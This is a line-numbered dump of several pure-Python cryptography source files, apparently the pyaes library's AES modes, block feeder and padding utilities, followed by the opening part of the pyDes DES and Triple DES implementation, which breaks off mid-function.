246 a = [0, 0, 0, 0]
247
248 # Convert ciphertext to (ints ^ key)
249 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
250
251 # Apply round transforms
252 for r in xrange(1, rounds):
253 for i in xrange(0, 4):
254 a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
255 self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
256 self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
257 self.T8[ t[(i + s3) % 4] & 0xFF] ^
258 self._Kd[r][i])
259 t = copy.copy(a)
260
261 # The last round is special
262 result = [ ]
263 for i in xrange(0, 4):
264 tt = self._Kd[rounds][i]
265 result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
266 result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
267 result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
268 result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
269
270 return result
271
272
273 class Counter(object):
274 '''A counter object for the Counter (CTR) mode of operation.
275
276 To create a custom counter, you can usually just override the
277 increment method.'''
278
279 def __init__(self, initial_value = 1):
280
281 # Convert the value into an array of bytes long
282 self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
283
284 value = property(lambda s: s._counter)
285
286 def increment(self):
287 '''Increment the counter (overflow rolls back to 0).'''
288
289 for i in xrange(len(self._counter) - 1, -1, -1):
290 self._counter[i] += 1
291
292 if self._counter[i] < 256: break
293
294 # Carry the one
295 self._counter[i] = 0
296
297 # Overflow
298 else:
299 self._counter = [ 0 ] * len(self._counter)
300
301
302 class AESBlockModeOfOperation(object):
303 '''Super-class for AES modes of operation that require blocks.'''
304 def __init__(self, key):
305 self._aes = AES(key)
306
307 def decrypt(self, ciphertext):
308 raise Exception('not implemented')
309
310 def encrypt(self, plaintext):
311 raise Exception('not implemented')
312
313
314 class AESStreamModeOfOperation(AESBlockModeOfOperation):
315 '''Super-class for AES modes of operation that are stream-ciphers.'''
316
317 class AESSegmentModeOfOperation(AESStreamModeOfOperation):
318 '''Super-class for AES modes of operation that segment data.'''
319
320 segment_bytes = 16
321
322
323
324 class AESModeOfOperationECB(AESBlockModeOfOperation):
325 '''AES Electronic Codebook Mode of Operation.
326
327 o Block-cipher, so data must be padded to 16 byte boundaries
328
329 Security Notes:
330 o This mode is not recommended
331 o Any two identical blocks produce identical encrypted values,
332 exposing data patterns. (See the image of Tux on wikipedia)
333
334 Also see:
335 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
336 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
337
338
339 name = "Electronic Codebook (ECB)"
340
341 def encrypt(self, plaintext):
342 if len(plaintext) != 16:
343 raise ValueError('plaintext block must be 16 bytes')
344
345 plaintext = _string_to_bytes(plaintext)
346 return _bytes_to_string(self._aes.encrypt(plaintext))
347
348 def decrypt(self, ciphertext):
349 if len(ciphertext) != 16:
350 raise ValueError('ciphertext block must be 16 bytes')
351
352 ciphertext = _string_to_bytes(ciphertext)
353 return _bytes_to_string(self._aes.decrypt(ciphertext))
354
355
356
357 class AESModeOfOperationCBC(AESBlockModeOfOperation):
358 '''AES Cipher-Block Chaining Mode of Operation.
359
360 o The Initialization Vector (IV)
361 o Block-cipher, so data must be padded to 16 byte boundaries
362 o An incorrect initialization vector will only cause the first
363 block to be corrupt; all other blocks will be intact
364 o A corrupt bit in the cipher text will cause a block to be
365 corrupted, and the next block to be inverted, but all other
366 blocks will be intact.
367
368 Security Notes:
369 o This method (and CTR) ARE recommended.
370
371 Also see:
372 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
373 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
374
375
376 name = "Cipher-Block Chaining (CBC)"
377
378 def __init__(self, key, iv = None):
379 if iv is None:
380 self._last_cipherblock = [ 0 ] * 16
381 elif len(iv) != 16:
382 raise ValueError('initialization vector must be 16 bytes')
383 else:
384 self._last_cipherblock = _string_to_bytes(iv)
385
386 AESBlockModeOfOperation.__init__(self, key)
387
388 def encrypt(self, plaintext):
389 if len(plaintext) != 16:
390 raise ValueError('plaintext block must be 16 bytes')
391
392 plaintext = _string_to_bytes(plaintext)
393 precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
394 self._last_cipherblock = self._aes.encrypt(precipherblock)
395
396 return _bytes_to_string(self._last_cipherblock)
397
398 def decrypt(self, ciphertext):
399 if len(ciphertext) != 16:
400 raise ValueError('ciphertext block must be 16 bytes')
401
402 cipherblock = _string_to_bytes(ciphertext)
403 plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
404 self._last_cipherblock = cipherblock
405
406 return _bytes_to_string(plaintext)
407
408
409
410 class AESModeOfOperationCFB(AESSegmentModeOfOperation):
411 '''AES Cipher Feedback Mode of Operation.
412
413 o A stream-cipher, so input does not need to be padded to blocks,
414 but does need to be padded to segment_size
415
416 Also see:
417 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
418 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
419
420
421 name = "Cipher Feedback (CFB)"
422
423 def __init__(self, key, iv, segment_size = 1):
424 if segment_size == 0: segment_size = 1
425
426 if iv is None:
427 self._shift_register = [ 0 ] * 16
428 elif len(iv) != 16:
429 raise ValueError('initialization vector must be 16 bytes')
430 else:
431 self._shift_register = _string_to_bytes(iv)
432
433 self._segment_bytes = segment_size
434
435 AESBlockModeOfOperation.__init__(self, key)
436
437 segment_bytes = property(lambda s: s._segment_bytes)
438
439 def encrypt(self, plaintext):
440 if len(plaintext) % self._segment_bytes != 0:
441 raise ValueError('plaintext block must be a multiple of segment_size')
442
443 plaintext = _string_to_bytes(plaintext)
444
445 # Break block into segments
446 encrypted = [ ]
447 for i in xrange(0, len(plaintext), self._segment_bytes):
448 plaintext_segment = plaintext[i: i + self._segment_bytes]
449 xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
450 cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
451
452 # Shift the top bits out and the ciphertext in
453 self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
454
455 encrypted.extend(cipher_segment)
456
457 return _bytes_to_string(encrypted)
458
459 def decrypt(self, ciphertext):
460 if len(ciphertext) % self._segment_bytes != 0:
461 raise ValueError('ciphertext block must be a multiple of segment_size')
462
463 ciphertext = _string_to_bytes(ciphertext)
464
465 # Break block into segments
466 decrypted = [ ]
467 for i in xrange(0, len(ciphertext), self._segment_bytes):
468 cipher_segment = ciphertext[i: i + self._segment_bytes]
469 xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
470 plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
471
472 # Shift the top bits out and the ciphertext in
473 self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
474
475 decrypted.extend(plaintext_segment)
476
477 return _bytes_to_string(decrypted)
478
479
480
481 class AESModeOfOperationOFB(AESStreamModeOfOperation):
482 '''AES Output Feedback Mode of Operation.
483
484 o A stream-cipher, so input does not need to be padded to blocks,
485 allowing arbitrary length data.
486 o A bit twiddled in the cipher text, twiddles the same bit in the
487 same bit in the plain text, which can be useful for error
488 correction techniques.
489
490 Also see:
491 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
492 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
493
494
495 name = "Output Feedback (OFB)"
496
497 def __init__(self, key, iv = None):
498 if iv is None:
499 self._last_precipherblock = [ 0 ] * 16
500 elif len(iv) != 16:
501 raise ValueError('initialization vector must be 16 bytes')
502 else:
503 self._last_precipherblock = _string_to_bytes(iv)
504
505 self._remaining_block = [ ]
506
507 AESBlockModeOfOperation.__init__(self, key)
508
509 def encrypt(self, plaintext):
510 encrypted = [ ]
511 for p in _string_to_bytes(plaintext):
512 if len(self._remaining_block) == 0:
513 self._remaining_block = self._aes.encrypt(self._last_precipherblock)
514 self._last_precipherblock = [ ]
515 precipherbyte = self._remaining_block.pop(0)
516 self._last_precipherblock.append(precipherbyte)
517 cipherbyte = p ^ precipherbyte
518 encrypted.append(cipherbyte)
519
520 return _bytes_to_string(encrypted)
521
522 def decrypt(self, ciphertext):
523 # AES-OFB is symetric
524 return self.encrypt(ciphertext)
525
526
527
528 class AESModeOfOperationCTR(AESStreamModeOfOperation):
529 '''AES Counter Mode of Operation.
530
531 o A stream-cipher, so input does not need to be padded to blocks,
532 allowing arbitrary length data.
533 o The counter must be the same size as the key size (ie. len(key))
534 o Each block independant of the other, so a corrupt byte will not
535 damage future blocks.
536 o Each block has a uniue counter value associated with it, which
537 contributes to the encrypted value, so no data patterns are
538 leaked.
539 o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
540 Segmented Integer Counter (SIC
541
542 Security Notes:
543 o This method (and CBC) ARE recommended.
544 o Each message block is associated with a counter value which must be
545 unique for ALL messages with the same key. Otherwise security may be
546 compromised.
547
548 Also see:
549
550 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
551 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
552 and Appendix B for managing the initial counter'''
553
554
555 name = "Counter (CTR)"
556
557 def __init__(self, key, counter = None):
558 AESBlockModeOfOperation.__init__(self, key)
559
560 if counter is None:
561 counter = Counter()
562
563 self._counter = counter
564 self._remaining_counter = [ ]
565
566 def encrypt(self, plaintext):
567 while len(self._remaining_counter) < len(plaintext):
568 self._remaining_counter += self._aes.encrypt(self._counter.value)
569 self._counter.increment()
570
571 plaintext = _string_to_bytes(plaintext)
572
573 encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
574 self._remaining_counter = self._remaining_counter[len(encrypted):]
575
576 return _bytes_to_string(encrypted)
577
578 def decrypt(self, crypttext):
579 # AES-CTR is symetric
580 return self.encrypt(crypttext)
581
582
583 # Simple lookup table for each mode
584 AESModesOfOperation = dict(
585 ctr = AESModeOfOperationCTR,
586 cbc = AESModeOfOperationCBC,
587 cfb = AESModeOfOperationCFB,
588 ecb = AESModeOfOperationECB,
589 ofb = AESModeOfOperationOFB,
590 )
0 #https://raw.githubusercontent.com/ricmoo/pyaes/master/pyaes/__init__.py
1 # The MIT License (MIT)
2 #
3 # Copyright (c) 2014 Richard Moore
4 #
5 # Permission is hereby granted, free of charge, to any person obtaining a copy
6 # of this software and associated documentation files (the "Software"), to deal
7 # in the Software without restriction, including without limitation the rights
8 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 # copies of the Software, and to permit persons to whom the Software is
10 # furnished to do so, subject to the following conditions:
11 #
12 # The above copyright notice and this permission notice shall be included in
13 # all copies or substantial portions of the Software.
14 #
15 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 # THE SOFTWARE.
22
23 # This is a pure-Python implementation of the AES algorithm and AES common
24 # modes of operation.
25
26 # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
27 # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
28
29
30 # Supported key sizes:
31 # 128-bit
32 # 192-bit
33 # 256-bit
34
35
36 # Supported modes of operation:
37 # ECB - Electronic Codebook
38 # CBC - Cipher-Block Chaining
39 # CFB - Cipher Feedback
40 # OFB - Output Feedback
41 # CTR - Counter
42
43 # See the README.md for API details and general information.
44
45 # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
46 # https://www.dlitz.net/software/pycrypto/
47
48
49 VERSION = [1, 3, 0]
50
51 from .AES import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
52 from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
53 from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/blockfeeder.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24
25 from .AES import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
26 from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
27
28
29 # First we inject three functions to each of the modes of operations
30 #
31 # _can_consume(size)
32 # - Given a size, determine how many bytes could be consumed in
33 # a single call to either the decrypt or encrypt method
34 #
35 # _final_encrypt(data, padding = PADDING_DEFAULT)
36 # - call and return encrypt on this (last) chunk of data,
37 # padding as necessary; this will always be at least 16
38 # bytes unless the total incoming input was less than 16
39 # bytes
40 #
41 # _final_decrypt(data, padding = PADDING_DEFAULT)
42 # - same as _final_encrypt except for decrypt, for
43 # stripping off padding
44 #
45
46 PADDING_NONE = 'none'
47 PADDING_DEFAULT = 'default'
48
49 # @TODO: Ciphertext stealing and explicit PKCS#7
50 # PADDING_CIPHERTEXT_STEALING
51 # PADDING_PKCS7
52
53 # ECB and CBC are block-only ciphers
54
55 def _block_can_consume(self, size):
56 if size >= 16: return 16
57 return 0
58
59 # After padding, we may have more than one block
60 def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
61 if padding == PADDING_DEFAULT:
62 data = append_PKCS7_padding(data)
63
64 elif padding == PADDING_NONE:
65 if len(data) != 16:
66 raise Exception('invalid data length for final block')
67 else:
68 raise Exception('invalid padding option')
69
70 if len(data) == 32:
71 return self.encrypt(data[:16]) + self.encrypt(data[16:])
72
73 return self.encrypt(data)
74
75
76 def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
77 if padding == PADDING_DEFAULT:
78 return strip_PKCS7_padding(self.decrypt(data))
79
80 if padding == PADDING_NONE:
81 if len(data) != 16:
82 raise Exception('invalid data length for final block')
83 return self.decrypt(data)
84
85 raise Exception('invalid padding option')
86
87 AESBlockModeOfOperation._can_consume = _block_can_consume
88 AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
89 AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
90
91
92
93 # CFB is a segment cipher
94
95 def _segment_can_consume(self, size):
96 return self.segment_bytes * int(size // self.segment_bytes)
97
98 # CFB can handle a non-segment-sized block at the end using the remaining cipherblock
99 def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
100 if padding != PADDING_DEFAULT:
101 raise Exception('invalid padding option')
102
103 faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
104 padded = data + to_bufferable(faux_padding)
105 return self.encrypt(padded)[:len(data)]
106
107 # CFB can handle a non-segment-sized block at the end using the remaining cipherblock
108 def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
109 if padding != PADDING_DEFAULT:
110 raise Exception('invalid padding option')
111
112 faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
113 padded = data + to_bufferable(faux_padding)
114 return self.decrypt(padded)[:len(data)]
115
116 AESSegmentModeOfOperation._can_consume = _segment_can_consume
117 AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
118 AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
119
120
121
122 # OFB and CTR are stream ciphers
123
124 def _stream_can_consume(self, size):
125 return size
126
127 def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
128 if padding not in [PADDING_NONE, PADDING_DEFAULT]:
129 raise Exception('invalid padding option')
130
131 return self.encrypt(data)
132
133 def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
134 if padding not in [PADDING_NONE, PADDING_DEFAULT]:
135 raise Exception('invalid padding option')
136
137 return self.decrypt(data)
138
139 AESStreamModeOfOperation._can_consume = _stream_can_consume
140 AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
141 AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
142
143
144
145 class BlockFeeder(object):
146 '''The super-class for objects to handle chunking a stream of bytes
147 into the appropriate block size for the underlying mode of operation
148 and applying (or stripping) padding, as necessary.'''
149
150 def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
151 self._mode = mode
152 self._feed = feed
153 self._final = final
154 self._buffer = to_bufferable("")
155 self._padding = padding
156
157 def feed(self, data = None):
158 '''Provide bytes to encrypt (or decrypt), returning any bytes
159 possible from this or any previous calls to feed.
160
161 Call with None or an empty string to flush the mode of
162 operation and return any final bytes; no further calls to
163 feed may be made.'''
164
165 if self._buffer is None:
166 raise ValueError('already finished feeder')
167
168 # Finalize; process the spare bytes we were keeping
169 if data is None:
170 result = self._final(self._buffer, self._padding)
171 self._buffer = None
172 return result
173
174 self._buffer += to_bufferable(data)
175
176 # We keep 16 bytes around so we can determine padding
177 result = to_bufferable('')
178 while len(self._buffer) > 16:
179 can_consume = self._mode._can_consume(len(self._buffer) - 16)
180 if can_consume == 0: break
181 result += self._feed(self._buffer[:can_consume])
182 self._buffer = self._buffer[can_consume:]
183
184 return result
185
186
187 class Encrypter(BlockFeeder):
188 'Accepts bytes of plaintext and returns encrypted ciphertext.'
189
190 def __init__(self, mode, padding = PADDING_DEFAULT):
191 BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
192
193
194 class Decrypter(BlockFeeder):
195 'Accepts bytes of ciphertext and returns decrypted plaintext.'
196
197 def __init__(self, mode, padding = PADDING_DEFAULT):
198 BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
199
200
201 # 8kb blocks
202 BLOCK_SIZE = (1 << 13)
203
204 def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
205 'Uses feeder to read and convert from in_stream and write to out_stream.'
206
207 while True:
208 chunk = in_stream.read(block_size)
209 if not chunk:
210 break
211 converted = feeder.feed(chunk)
212 out_stream.write(converted)
213 converted = feeder.feed()
214 out_stream.write(converted)
215
216
217 def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
218 'Encrypts a stream of bytes from in_stream to out_stream using mode.'
219
220 encrypter = Encrypter(mode, padding = padding)
221 _feed_stream(encrypter, in_stream, out_stream, block_size)
222
223
224 def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
225 'Decrypts a stream of bytes from in_stream to out_stream using mode.'
226
227 decrypter = Decrypter(mode, padding = padding)
228 _feed_stream(decrypter, in_stream, out_stream, block_size)
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/util.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24 # Why to_bufferable?
25 # Python 3 is very different from Python 2.x when it comes to strings of text
26 # and strings of bytes; in Python 3, strings of bytes do not exist, instead to
27 # represent arbitrary binary data, we must use the "bytes" object. This method
28 # ensures the object behaves as we need it to.
29
30 def to_bufferable(binary):
31 return binary
32
33 def _get_byte(c):
34 return ord(c)
35
36 try:
37 xrange
38 except:
39
40 def to_bufferable(binary):
41 if isinstance(binary, bytes):
42 return binary
43 return bytes(ord(b) for b in binary)
44
45 def _get_byte(c):
46 return c
47
48 def append_PKCS7_padding(data):
49 pad = 16 - (len(data) % 16)
50 return data + to_bufferable(chr(pad) * pad)
51
52 def strip_PKCS7_padding(data):
53 if len(data) % 16 != 0:
54 raise ValueError("invalid length")
55
56 pad = _get_byte(data[-1])
57
58 if pad > 16:
59 raise ValueError("invalid padding byte")
60
61 return data[:-pad]
0 #############################################################################
1 # Documentation #
2 #############################################################################
3
4 # Author: Todd Whiteman
5 # Date: 28th April, 2010
6 # Version: 2.0.1
7 # License: MIT
8 # Homepage: http://twhiteman.netfirms.com/des.html
9 #
10 # This is a pure python implementation of the DES encryption algorithm.
11 # It's pure python to avoid portability issues, since most DES
12 # implementations are programmed in C (for performance reasons).
13 #
14 # Triple DES class is also implemented, utilizing the DES base. Triple DES
15 # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
16 #
17 # See the README.txt that should come with this python module for the
18 # implementation methods used.
19 #
20 # Thanks to:
21 # * David Broadwell for ideas, comments and suggestions.
22 # * Mario Wolff for pointing out and debugging some triple des CBC errors.
23 # * Santiago Palladino for providing the PKCS5 padding technique.
24 # * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
25 #
26 """A pure python implementation of the DES and TRIPLE DES encryption algorithms.
27
28 Class initialization
29 --------------------
30 pyDes.des(key, [mode], [IV], [pad], [padmode])
31 pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
32
33 key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
34 for Triple DES
35 mode -> Optional argument for encryption type, can be either
36 pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
37 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
38 Length must be 8 bytes.
39 pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
40 all encrypt/decrypt operations done with this instance.
41 padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
42 to use during all encrypt/decrypt operations done with this instance.
43
44 I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
45 padding issues, as the padding can be removed unambiguously upon decrypting
46 data that was encrypted using PAD_PKCS5 padmode.
47
48 Common methods
49 --------------
50 encrypt(data, [pad], [padmode])
51 decrypt(data, [pad], [padmode])
52
53 data -> Bytes to be encrypted/decrypted
54 pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
55 encryption, adds this characters to the end of the data block when
56 data is not a multiple of 8 bytes. For decryption, will remove the
57 trailing characters that match this pad character from the last 8
58 bytes of the unencrypted data block.
59 padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
60 or PAD_PKCS5). Defaults to PAD_NORMAL.
61
62
63 Example
64 -------
65 from pyDes import *
66
67 data = "Please encrypt my data"
68 k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
69 # For Python3, you'll need to use bytes, i.e.:
70 # data = b"Please encrypt my data"
71 # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
72 d = k.encrypt(data)
73 print "Encrypted: %r" % d
74 print "Decrypted: %r" % k.decrypt(d)
75 assert k.decrypt(d, padmode=PAD_PKCS5) == data
76
77
78 See the module source (pyDes.py) for more examples of use.
79 You can also run the pyDes.py file without and arguments to see a simple test.
80
81 Note: This code was not written for high-end systems needing a fast
82 implementation, but rather a handy portable solution with small usage.
83
84 """
85
86 import sys
87
88 # _pythonMajorVersion is used to handle Python2 and Python3 differences.
89 _pythonMajorVersion = sys.version_info[0]
90
91 # Modes of crypting / cyphering
92 ECB = 0
93 CBC = 1
94
95 # Modes of padding
96 PAD_NORMAL = 1
97 PAD_PKCS5 = 2
98
99 # PAD_PKCS5: is a method that will unambiguously remove all padding
100 # characters after decryption, when originally encrypted with
101 # this padding mode.
102 # For a good description of the PKCS5 padding technique, see:
103 # http://www.faqs.org/rfcs/rfc1423.html
104
105 # The base class shared by des and triple des.
106 class _baseDes(object):
107 def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
108 if IV:
109 IV = self._guardAgainstUnicode(IV)
110 if pad:
111 pad = self._guardAgainstUnicode(pad)
112 self.block_size = 8
113 # Sanity checking of arguments.
114 if pad and padmode == PAD_PKCS5:
115 raise ValueError("Cannot use a pad character with PAD_PKCS5")
116 if IV and len(IV) != self.block_size:
117 raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
118
119 # Set the passed in variables
120 self._mode = mode
121 self._iv = IV
122 self._padding = pad
123 self._padmode = padmode
124
125 def getKey(self):
126 """getKey() -> bytes"""
127 return self.__key
128
129 def setKey(self, key):
130 """Will set the crypting key for this object."""
131 key = self._guardAgainstUnicode(key)
132 self.__key = key
133
134 def getMode(self):
135 """getMode() -> pyDes.ECB or pyDes.CBC"""
136 return self._mode
137
138 def setMode(self, mode):
139 """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
140 self._mode = mode
141
142 def getPadding(self):
143 """getPadding() -> bytes of length 1. Padding character."""
144 return self._padding
145
146 def setPadding(self, pad):
147 """setPadding() -> bytes of length 1. Padding character."""
148 if pad is not None:
149 pad = self._guardAgainstUnicode(pad)
150 self._padding = pad
151
152 def getPadMode(self):
153 """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
154 return self._padmode
155
156 def setPadMode(self, mode):
157 """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
158 self._padmode = mode
159
160 def getIV(self):
161 """getIV() -> bytes"""
162 return self._iv
163
164 def setIV(self, IV):
165 """Will set the Initial Value, used in conjunction with CBC mode"""
166 if not IV or len(IV) != self.block_size:
167 raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
168 IV = self._guardAgainstUnicode(IV)
169 self._iv = IV
170
171 def _padData(self, data, pad, padmode):
172 # Pad data depending on the mode
173 if padmode is None:
174 # Get the default padding mode.
175 padmode = self.getPadMode()
176 if pad and padmode == PAD_PKCS5:
177 raise ValueError("Cannot use a pad character with PAD_PKCS5")
178
179 if padmode == PAD_NORMAL:
180 if len(data) % self.block_size == 0:
181 # No padding required.
182 return data
183
184 if not pad:
185 # Get the default padding.
186 pad = self.getPadding()
187 if not pad:
188 raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
189 data += (self.block_size - (len(data) % self.block_size)) * pad
190
191 elif padmode == PAD_PKCS5:
192 pad_len = 8 - (len(data) % self.block_size)
193 if _pythonMajorVersion < 3:
194 data += pad_len * chr(pad_len)
195 else:
196 data += bytes([pad_len] * pad_len)
197
198 return data
199
200 def _unpadData(self, data, pad, padmode):
201 # Unpad data depending on the mode.
202 if not data:
203 return data
204 if pad and padmode == PAD_PKCS5:
205 raise ValueError("Cannot use a pad character with PAD_PKCS5")
206 if padmode is None:
207 # Get the default padding mode.
208 padmode = self.getPadMode()
209
210 if padmode == PAD_NORMAL:
211 if not pad:
212 # Get the default padding.
213 pad = self.getPadding()
214 if pad:
215 data = data[:-self.block_size] + \
216 data[-self.block_size:].rstrip(pad)
217
218 elif padmode == PAD_PKCS5:
219 if _pythonMajorVersion < 3:
220 pad_len = ord(data[-1])
221 else:
222 pad_len = data[-1]
223 data = data[:-pad_len]
224
225 return data
226
227 def _guardAgainstUnicode(self, data):
228 # Only accept byte strings or ascii unicode values, otherwise
229 # there is no way to correctly decode the data into bytes.
230 if _pythonMajorVersion < 3:
